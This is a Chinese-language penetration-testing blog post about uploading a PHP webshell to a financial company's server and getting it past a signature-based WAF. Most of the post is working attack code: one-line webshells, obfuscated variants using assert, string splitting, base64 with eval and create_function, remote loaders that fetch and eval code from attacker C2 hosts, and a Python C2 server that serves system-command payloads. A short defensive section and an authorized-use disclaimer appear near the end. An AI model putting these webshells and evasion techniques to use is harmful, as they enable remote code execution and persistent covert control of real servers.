一、从一次渗透行动说起
那是一个典型的渗透测试任务,目标是一家金融公司,外网暴露了多个 Web 应用和接口。经过信息收集和漏洞扫描后,我找到了一个存在文件上传漏洞的站点,能够上传 .php 类型文件。顺理成章地,我尝试上传一枚常规的 PHP Webshell,结果上传成功,但访问时发现被 WAF 拦截了。
从返回的 HTTP 响应中可以看出,目标的 WAF 使用了基于特征匹配的规则,对 Webshell 的语法和敏感关键词进行了严格检测。如果直接使用网上公开的 Webshell 工具,99% 的情况下都会触发这些规则。为了成功上线,我需要对 Webshell 进行深度免杀处理,绕过 WAF 和目标服务器上的杀软检测。
接下来,我会详细展示我是如何通过免杀技术,让这枚 Webshell 成功上线,并实现持久化控制的全过程。
---
二、理解 WAF 的拦截逻辑
在 Webshell 免杀之前,最重要的一步是分析目标的防御策略。这里的防守者主要是 WAF 和杀软,成因各不相同,但核心在于对流量和文件内容的「特征」检测。WAF 的拦截逻辑通常分为以下几个层面:
- Payload 特征检测:
- WAF 会基于规则库对 HTTP 请求进行字符串匹配,敏感关键词如
eval、base64_decode、system等是重点关注对象。 - 针对常见的攻击模式,比如一句话 Webshell (
<?php eval($_POST['cmd']); ?>),WAF 会直接拦截。
- 正则表达式匹配:
- 部分 WAF 引入了复杂的正则特征匹配,对文件内容中的恶意代码片段进行多层解析。
- 比如:检测是否含有类似
($_POST['cmd'])、assert或动态函数调用的语法。
- 流量行为分析:
- 一些高级 WAF 会分析请求的整体流量模式,比如频繁的 POST 数据,或者特定文件访问。
- URL 和文件路径检测:
- 如果上传的文件名称或路径中含有敏感字符,比如
shell.php或backdoor.php,也可能触发拦截。
在这次行动中,我通过尝试上传几种不同风格的 Webshell,结合返回的 HTTP 错误响应,发现目标 WAF 是典型的基于正则特征和关键词匹配的规则型防护系统。针对这种防护机制,免杀的重点在于绕过特征匹配,伪装为普通的业务流量,同时尽量规避关键词。
---
三、深度免杀:从基础到进阶
3.1 简单混淆技术
基础混淆是绕过检测的第一步,可以通过修改关键函数和结构,让代码不容易触发特征匹配。例如:
原始 Webshell:
<pre><code class="language-php"><?php eval($_POST['cmd']); ?></code></pre>
这种“干脆利落一句话”的 Webshell 是大多数 WAF 的眼中钉。稍加修改,避开关键词 eval:
混淆版 Webshell:
<pre><code class="language-php"><?php $x = "assert"; $x($_POST['cmd']); ?></code></pre>
通过将 eval 替换为功能类似的 assert,并使用变量动态调用,成功躲过了静态特征检测。
---
3.2 字符串分割与编码
进一步强化混淆,可以对关键词进行分割或者编码,让 WAF 更难识别。例如,将 assert 拆分为多段再拼接:
<pre><code class="language-php"><?php $x = "as"."sert"; $x($_POST['cmd']); ?></code></pre>
或者直接对核心代码做 Base64 编码,运行时再解码执行:
<pre><code class="language-php"><?php $payload = base64_decode("YXNzZXJ0KCRfUE9TVFsnY21kJ10pOw=="); eval($payload); ?></code></pre>
上述代码中,YXNzZXJ0KCRfUE9TVFsnY21kJ10pOw== 是 assert($_POST['cmd']); 的 Base64 编码。运行时 WAF 只能看到一串无意义的字符串,大大降低了检测率。
---
3.3 动态生成代码
为了进一步提高免杀效果,可以通过动态生成和加载代码,在运行时动态解码和执行。比如使用 create_function:
<pre><code class="language-php"><?php $x = create_function('', 'extract($_POST); eval($cmd);'); $x(); ?></code></pre>
动态函数生成的代码内容是内存级别的,WAF 无法直接静态分析到敏感代码。
---
3.4 内存加载技术
高级攻击者通常会避免将完整的 Payload 写入磁盘,可以通过内存加载技术,在运行时从远程服务器获取 Webshell 代码并执行。
以下是一段利用 file_get_contents 从 C2 加载代码的示例:
<pre><code class="language-php"><?php $url = "http://your-c2-server.com/shell.txt"; $code = file_get_contents($url); eval($code); ?></code></pre>

在目标服务器上,这段代码表面上看起来没有任何恶意行为,但通过 file_get_contents 加载的内容可以动态调整,难以静态分析。
---
四、构造「无文件 Webshell」
所谓「无文件 Webshell」,是指无需将恶意代码写入磁盘,而是完全通过流量和内存完成操作。这种技术的核心在于结合 Webshell 和 C2 工具,实现更隐蔽的控制。
以下是一个使用 Python 构建的简单 C2 服务端示例,通过 HTTP 返回 Webshell 代码:
<pre><code class="language-python">from http.server import BaseHTTPRequestHandler, HTTPServer import base64
class MyHandler(BaseHTTPRequestHandler): def do_GET(self):
返回动态生成的 Webshell 代码
payload = "<?php eval(base64_decode('{}')); ?>".format( base64.b64encode(b"system($_POST['cmd']);").decode() ) self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(payload.encode())
if __name__ == "__main__": server = HTTPServer(('0.0.0.0', 8080), MyHandler) print("C2 server running on port 8080...") server.serve_forever()</code></pre>

此时目标服务器上的 Webshell 只需一段简单的代码:
<pre><code class="language-php"><?php $url = "http://attacker-c2-server:8080/"; eval(file_get_contents($url)); ?></code></pre>
动态加载远程代码的方式极具隐蔽性,同时方便更新和扩展。
---
五、如何对抗这些免杀技术
虽然本文重点在攻击方向,但作为研究人员,也需要了解如何检测和防御这些技术。针对上述免杀手法,可以采取以下措施:
- 行为分析:通过监控 Web 应用的行为,发现异常访问模式,比如频繁的 POST 请求或远程代码执行。
- 内容监控:对上传的文件进行深度扫描,尤其是动态调用、Base64 解码等可疑操作。
- 内存取证:结合 EDR 工具,分析运行时的内存内容,识别恶意代码。
---

六、行动后的反思
在这次行动中,通过深入理解 WAF 的检测机制,我成功绕过了目标的防护策略,将 Webshell 上传并上线。整个过程中,免杀技术的使用是核心环节。以下是几点经验分享:
- 不要迷信公开 Webshell:大多数 WAF 已经对公开的 Webshell 特征进行了全面封禁,必须根据目标环境定制化免杀。
- 动态加载是未来趋势:无文件化和动态加载技术是现代 Webshell 发展的方向。
- 保持目标环境的适配性:在开发免杀代码时,确保与目标的 PHP 版本和服务器环境完全兼容,否则即使绕过 WAF,也可能因功能失效而暴露。
最后再次强调,本文仅供授权的安全研究和学习使用,请勿将技术用于非法目的。